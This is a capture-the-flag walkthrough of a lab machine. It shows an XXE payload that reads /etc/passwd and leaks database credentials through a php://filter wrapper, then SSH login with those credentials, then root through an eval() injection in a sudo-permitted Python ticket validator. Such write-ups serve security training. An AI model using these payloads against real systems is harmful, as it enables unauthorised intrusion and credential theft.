Bounty Hunter

Enumeration

To begin I’ll set a variable for the IP address and do some initial enumeration of the host:

export ip=10.10.11.100
ping $ip
# TTL of 63, probably a linux host
nmap $ip
# Shows http and ssh running on their default ports

HTTP

A directory fuzz of the website hosted on port 8- of the target shows a few files of interest

dirsearch -e php,html -f -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
  • 200 - /index.php
  • 403 - /icons/
  • 301 - /resources
  • 200 - /resources/
  • 403 - /assets/
  • 301 - /assets
  • 200 - /portal.php
  • 301 - /css
  • 403 - /css/
  • 200 - /db.php
  • 403 - /js/
  • 301 - /js

On the website at http://10.10.11.100, there’s a link to a beta php database submission form, which is located at http://10.10.11.100/log_submit.php. By opening up burpsuite, capturing requests and submitting a request on the form we can manipulate the data being sent in unexpected ways to observe any weaknesses.

BurpSuite Captured Request

The http body contains a payload with the variable data, and an encoded payload. To understand this better, it’s possible to investigate it a little with cyberchef:

Cyberchef

From this the original payload as it was sent was:

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>asd</title>
		<cwe>asd</cwe>
		<cvss>asd</cvss>
		<reward>asd</reward>
		</bugreport>

XXE

To test for XML External Entity the data can be manipulated with a payload before encoding it with base64 then URL encoding:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd">]>
<bugreport>
		<title>&example;</title>
		<cwe>asd</cwe>
		<cvss>asd</cvss>
		<reward>asd</reward>
		</bugreport>

Line 2 attempts to read /etc/passwd and write the files content to entity example. Line 4 has been modified to return the value of the entity example in place of the title, which the page code will return to the user.

By inserting this modifed payload and sending it to the server we get the contents of /etc/passwd:

/etc/passwd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Lines 1 and 32 with users root and development are notable as the only accounts which are linked to a login shell.

The file db.php can be retrieved similarly with the below payload:

<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
		<title>&example;</title>
		<cwe>asd</cwe>
		<cvss>asd</cvss>
		<reward>asd</reward>

Since this is retrieving php source code filtering through base64 is necessary, otherwise the code will execute on the server side and won’t render in the response.

Retrieving db.php

The response the server gives is:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

SSH

Using the recovered credential it’s now possible to login to the server via ssh:

ssh development@$ip
cat /home/development/user.txt
sudo -l
# NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
ll /opt/skytrain_inc/ticketValidator.py
# root/root read only
cat /opt/skytrain_inc/ticketValidator.py

Vertical Privilege Escalation

Having found we can run sudo without needing the password for one particular script, and can view it, it’s now worth viewing the script to see if it contains any vulnerabilities we can use:

ticketValidator.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The code can be examined to reverse engineer a ticket which passes the validation checks.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**354+500

Line 34 is of interest as this pipes direct user input from the ticket through eval(), which in python will execute any inputs as python expression. By experimenting with the python interpreter and some single line python expression we can discover that the following can spawn a shell:

__import__('pty').spawn('/bin/bash')
# wrapped in eval
eval ("__import__('pty').spawn('/bin/bash')")
# with a number at the front
eval (42 and "__import__('pty').spawn('/bin/bash')")

The ticket now modified with the payload looks like:

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**354+0 and __import__('pty').spawn('/bin/bash')

Running the ticket validator with this ticket drops into a root shell

cat /root/root.txt
Previous
Next